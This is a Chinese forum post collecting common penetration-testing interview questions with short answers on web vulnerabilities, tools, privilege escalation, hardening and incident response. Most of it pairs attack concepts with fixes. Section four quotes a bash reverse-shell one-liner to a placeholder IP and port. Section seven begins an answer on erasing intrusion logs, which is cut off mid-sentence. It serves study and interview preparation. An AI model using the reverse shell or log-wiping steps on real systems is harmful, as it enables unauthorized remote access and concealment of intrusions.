常考渗透测试面试题汇总

有没有人在啊,想请问一下,常考渗透测试面试题汇总
最新回答
冬瑾凉桉

2026-10-24 08:47:53

常考渗透测试面试题汇总一、个人经历与技能
  1. 介绍一下自认为有趣的挖洞经历(或CTF经历)

    简述一次在特定网站或系统中发现并利用漏洞的经历,包括漏洞类型、利用过程及最终成果。

    强调在CTF比赛中,如何团队协作解决复杂问题,或展示个人在解题过程中的创新思维。

  2. 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?

    列举SQL注入、XSS、CSRF等常见漏洞。

    SQL注入:原理是输入恶意SQL代码到后端数据库执行。修复方案包括使用预编译语句、参数化查询等。

    XSS:原理是攻击者向网页中注入恶意脚本。修复方案包括HTML实体编码、使用CSP等。

    CSRF:原理是利用用户已登录状态执行未授权操作。修复方案包括使用CSRF Token、验证Referer等。

  3. 你平时使用哪些工具?以及对应工具的特点?

    Nmap:网络扫描工具,用于发现目标主机的开放端口和服务。

    Burp Suite:Web应用安全测试工具,支持拦截、修改HTTP请求和响应。

    Metasploit:自动化渗透测试框架,包含大量漏洞利用模块。

    Sqlmap:自动化SQL注入工具,支持多种数据库和注入技术。

二、技术挑战与解决方案
  1. 如果遇到WAF的情况下如何进行SQL注入/上传Webshell怎么做?

    SQL注入:尝试绕过WAF的过滤规则,如使用注释、编码、大小写混合等方式。

    上传Webshell:利用WAF未覆盖的漏洞点,如文件上传功能中的文件类型检查不严等。

  2. 谈谈Windows系统与Linux系统提权的思路?

    Windows:利用系统漏洞、弱密码、服务提权等方式。

    Linux:利用内核漏洞、SUID文件、计划任务等。

  3. 列举出您所知道的所有开源组件高危漏洞

    如Apache Struts2漏洞、Log4j漏洞、Spring框架漏洞等。

  4. 描述一个你深入研究过的 CVE 或 POC

    简述CVE编号、漏洞影响、利用方式及修复方案。

三、具体漏洞与防御
  1. php/java反序列化漏洞的原理?解决方案?

    原理:攻击者通过构造恶意序列化数据,使后端反序列化时执行恶意代码。

    解决方案:避免使用不安全的反序列化函数,使用安全的替代方案。

  2. 如果一台服务器被入侵后,你会如何做应急响应?

    立即隔离受感染系统,收集证据,分析入侵途径,修复漏洞,恢复系统。

  3. 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?

    成因:输入未经过滤直接传递给数据库执行。

    防范:使用预编译语句、参数化查询、输入验证等。

    注入方式:基于错误、联合查询、布尔盲注、时间盲注等。

    利用方式:读取数据库数据、写入恶意数据、执行数据库管理命令等。

  4. 常见的中间件解析漏洞利用方式

    如Apache Tomcat的任意文件上传漏洞、IIS的短文件名漏洞等。

  5. Windows、Linux、数据库的加固降权思路

    Windows:禁用不必要的服务、限制用户权限、安装安全补丁。

    Linux:使用最小权限原则、配置防火墙、定期更新系统。

    数据库:使用最小权限账户、配置访问控制、定期备份数据。

四、高级技术与策略
  1. 如何绕过CDN获取目标网站真实IP,谈谈你的思路

    通过分析DNS记录、利用邮件头信息、利用子域名解析等方式。

  2. 如果给你一个网站,你的渗透测试思路是什么?

    信息收集、漏洞扫描、漏洞验证、权限提升、维持访问、清理痕迹。

  3. 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

    常用命令:nc、bash -i >& /dev/tcp/IP/PORT 0>&1等。

    常反弹的shell:Bash shell,因其功能强大且兼容性好。

  4. SSRF漏洞的成因 防御 绕过?

    成因:应用从用户输入中读取URL并访问。

    防御:限制访问范围、验证URL格式、使用白名单等。

    绕过:利用DNS重绑定、HTTP重定向等方式。

五、特定领域与技术
  1. SQLi相关

    发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?

    通过联合查询写入恶意数据到文件系统中。

    利用数据库导出功能生成恶意文件。

    mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

    数据库用户具有写文件权限。

    目标系统存在可写目录。

    宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?

    原理:利用数据库对宽字符的处理差异绕过过滤。

    利用:构造包含宽字符的恶意SQL语句。

    修复:统一字符编码,严格输入验证。

  2. 浏览器知识

    如何设置可以跨域请求数据?jsonp是做什么的?

    通过设置CORS策略允许跨域请求。

    JSONP是一种跨域请求数据的方案,利用<script>标签不受同源策略限制的特点。

  3. XSS相关

    如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么?

    前端:对输入进行HTML实体编码。

    后端:验证输入数据,使用安全的模板引擎。

    后端更好:因为前端防御可能被绕过,后端防御更可靠。

  4. CSRF/SSRF

    CSRF漏洞的本质是什么?

    攻击者利用用户已登录状态执行未授权操作。

    SSRF漏洞原理、利用方式及修复方案?Java和PHP的SSRF区别?

    原理:应用从用户输入中读取URL并访问内部资源。

    利用:读取内部文件、访问内部服务等。

    修复:限制访问范围、验证URL格式等。

    区别:Java和PHP在处理URL时可能存在不同的实现细节和漏洞点。

六、其他
  1. 逻辑漏洞

    说出至少三种业务逻辑漏洞,以及修复方式?

    越权访问:修复方式包括严格权限控制、验证用户身份。

    密码找回漏洞:修复方式包括验证用户身份、限制重置次数。

    支付漏洞:修复方式包括验证支付信息、限制支付金额。

  2. Java考察

    了解java沙箱吗?

    Java沙箱是一种安全机制,用于限制Java程序对系统资源的访问。

    ibats的参数化查询能不能有效的控制sql注入?

    能,但需注意避免使用不安全的查询方式。

  3. PHP考察

    php的LFI,本地包含漏洞原理是什么?

    攻击者通过输入恶意路径,使后端包含并执行恶意文件。

    php反序列化漏洞的原理?解决方案?

    原理:与Java反序列化漏洞类似。

    解决方案:避免使用不安全的反序列化函数。

  4. 常见中间件

    Redis未授权访问漏洞如何入侵利用?

    通过未授权访问Redis服务器,执行恶意命令或读取敏感数据。

    tomcat要做哪些安全加固?

    禁用不必要的服务、配置访问控制、定期更新等。

  5. 数据库安全

    mysql安全要如何做?

    使用强密码、限制访问权限、定期备份数据、安装安全补丁等。

  6. Linux操作系统

    简述Linux系统安全加固需要做哪些方面?

    更新系统补丁、配置防火墙、限制用户权限、使用安全工具等。

  7. 应急响应

    有哪几种后门实现方式?

    如Webshell、SSH后门、系统级后门等。

    遇到新0day后,应该如何进行应急响应?

    立即隔离受感染系统,分析漏洞原理,修复漏洞,恢复系统。

七、总结与提升
  • 判断出网站的CMS对渗透有什么意义?

    有助于了解目标系统的架构和潜在漏洞点。

  • 如何清理入侵日志

    查找并删除恶意日志记录,确保